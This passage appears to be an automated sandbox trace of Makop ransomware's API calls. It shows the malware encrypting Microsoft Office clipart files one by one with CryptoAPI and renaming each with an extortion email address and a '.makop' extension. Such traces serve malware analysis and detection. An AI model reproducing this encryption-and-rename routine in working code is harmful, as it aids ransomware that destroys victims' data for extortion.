hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.501] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0107.506] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.506] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.506] GetProcessHeap () returned 0x48a0000 [0107.506] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.506] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.506] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.506] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.506] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.506] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.507] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.507] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.507] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.507] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.507] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.507] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.507] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6906, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6906, lpOverlapped=0x0) returned 1 [0107.509] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6910, dwBufLen=0x6910 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6910) returned 1 [0107.510] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.510] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6910, lpOverlapped=0x0) returned 1 [0107.510] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.510] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x69e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.510] SetEndOfFile (hFile=0xf0) returned 1 [0107.518] GetProcessHeap () returned 0x48a0000 [0107.518] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.518] GetProcessHeap () returned 0x48a0000 [0107.518] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.518] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.518] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.520] CloseHandle (hObject=0xf0) returned 1 [0107.520] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0107.520] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0107.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.521] GetProcessHeap () returned 0x48a0000 [0107.521] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.521] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.521] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.521] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0107.525] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.525] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.526] GetProcessHeap () returned 0x48a0000 [0107.526] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.526] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.526] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.526] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.526] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.526] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.527] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.527] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.527] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.527] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.527] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.527] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.527] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7114, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7114, lpOverlapped=0x0) returned 1 [0107.530] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7120, dwBufLen=0x7120 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7120) returned 1 [0107.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.531] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7120, lpOverlapped=0x0) returned 1 [0107.531] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x71f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.532] SetEndOfFile (hFile=0xf0) returned 1 [0107.538] GetProcessHeap () returned 0x48a0000 [0107.538] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.538] GetProcessHeap () returned 0x48a0000 [0107.538] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.538] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.540] CloseHandle (hObject=0xf0) returned 1 [0107.540] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0107.540] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0107.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.541] GetProcessHeap () returned 0x48a0000 [0107.541] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.541] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.541] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.541] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0107.548] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.548] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.548] GetProcessHeap () returned 0x48a0000 [0107.548] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.548] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.548] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.548] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.548] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.548] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.549] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.549] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.549] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.549] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.549] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.549] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.549] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2d74, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2d74, lpOverlapped=0x0) returned 1 [0107.551] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d80) returned 1 [0107.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.551] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2d80, lpOverlapped=0x0) returned 1 [0107.551] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.551] SetEndOfFile (hFile=0xf0) returned 1 [0107.558] GetProcessHeap () returned 0x48a0000 [0107.558] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.559] GetProcessHeap () returned 0x48a0000 [0107.559] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.588] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.588] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.590] CloseHandle (hObject=0xf0) returned 1 [0107.591] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0107.591] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0107.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.593] GetProcessHeap () returned 0x48a0000 [0107.593] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.593] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.593] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.593] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0107.597] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.597] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.598] GetProcessHeap () returned 0x48a0000 [0107.598] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.598] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.598] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.598] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.598] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.598] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.598] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.598] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.599] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.599] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.599] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.599] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.599] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x57f4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x57f4, lpOverlapped=0x0) returned 1 [0107.602] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5800, dwBufLen=0x5800 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5800) returned 1 [0107.602] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.602] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5800, lpOverlapped=0x0) returned 1 [0107.603] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.603] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x58d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.603] SetEndOfFile (hFile=0xf0) returned 1 [0107.611] GetProcessHeap () returned 0x48a0000 [0107.612] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.612] GetProcessHeap () returned 0x48a0000 [0107.612] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.612] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.613] CloseHandle (hObject=0xf0) returned 1 [0107.614] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0107.614] 